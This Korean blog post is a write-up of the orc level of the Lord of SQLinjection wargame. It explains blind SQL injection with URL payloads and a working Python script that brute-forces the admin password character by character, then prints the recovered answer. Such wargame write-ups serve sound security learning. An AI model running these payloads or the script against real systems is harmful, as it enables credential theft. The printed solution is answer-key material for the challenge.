LOS 4번 orc
Load of SQLinjection
뒤에서 3번쨰 줄에 있는 내용을 보면
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
DB에 저장된 admin의 패스워드와 입력받은 패스워드가 동일해야 한다고 적혀있네요.
if($result['id']) echo "<h2>Hello admin</h2>";
중간에 이런 내용이 있네요?
id가 admin이면 "Hello admin" 문자열을 출력해주네요?
이!! 말!! 은!!
장님공격(Blind SQL injection)을 하라는 말이네요.
눈감고 공격해볼까요?
먼저 id를 admin으로 만들어 볼까요?
https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=' or id='admin' %23
https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=%' or id='admin' and length(pw)='1' %23
이 구문과 같이 작성 후
"Hello admin"문자열이 나오면
그 숫자가 패스워드의 길이겠죠?
https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=' or id='admin' and substr(pw,1,1)='1
이렇게 한자한자 입력하면서
"Hello admin" 문자열이 나오는 문자를 찾습니다.
위에서 말한 내용을 python3으로 작성해 보겠습니다.
먼저 세션정보를 얻어옵니다.
import requests
URL = 'https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php'
header = {'PHPSESSID':'0cubcsidaodsf3oamc0drmbvl0'}
def get_length():
for i in range(1,10):
full_url = URL + "?pw=\' or id=\'admin\' and length(pw)=\'{}\' %23".format(i)
res = requests.get(url=full_url, cookies=header)
if "Hello admin" in res.text:
print(' [+] pw_length : {}'.format(i))
return i
def blind_injection(size):
values = ''
for i in range(ord('0'), ord('9') + 1):
values += chr(i)
for i in range(ord('A'), ord('Z') + 1):
values += chr(i)
for i in range(ord('a'), ord('z') + 1):
values += chr(i)
print('==== Blind_SQL_Injection ====')
for x in range(1, size+1):
print(' [*] ' + '{}'.format('#') * x + '{}'.format('X') * (size - x) + '...{}%'.format(100/8*x))
for y in values:
full_url = URL + "?pw=\' or id=\'admin\' and substr(pw,{},1)=\'{}".format(x, y)
res = requests.get(url=full_url, cookies=header)
if "Hello admin" in res.text:
yield y
def main():
pw_length = get_length()
pw = ""
for x in blind_injection(pw_length):
pw += x
print('\n [+] pw : ' + pw)
if __name__ == '__main__':
main()
정답
https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=295d5844
입력 시 결과
'Wargame > LOS' 카테고리의 다른 글
LOS 5번 wolfman (0) | 2019.09.25 |
---|---|
LOS 3번 goblin (0) | 2019.09.22 |
LOS 2번 cobolt (0) | 2019.09.22 |
LOS 1번 gremlin (0) | 2019.09.22 |
댓글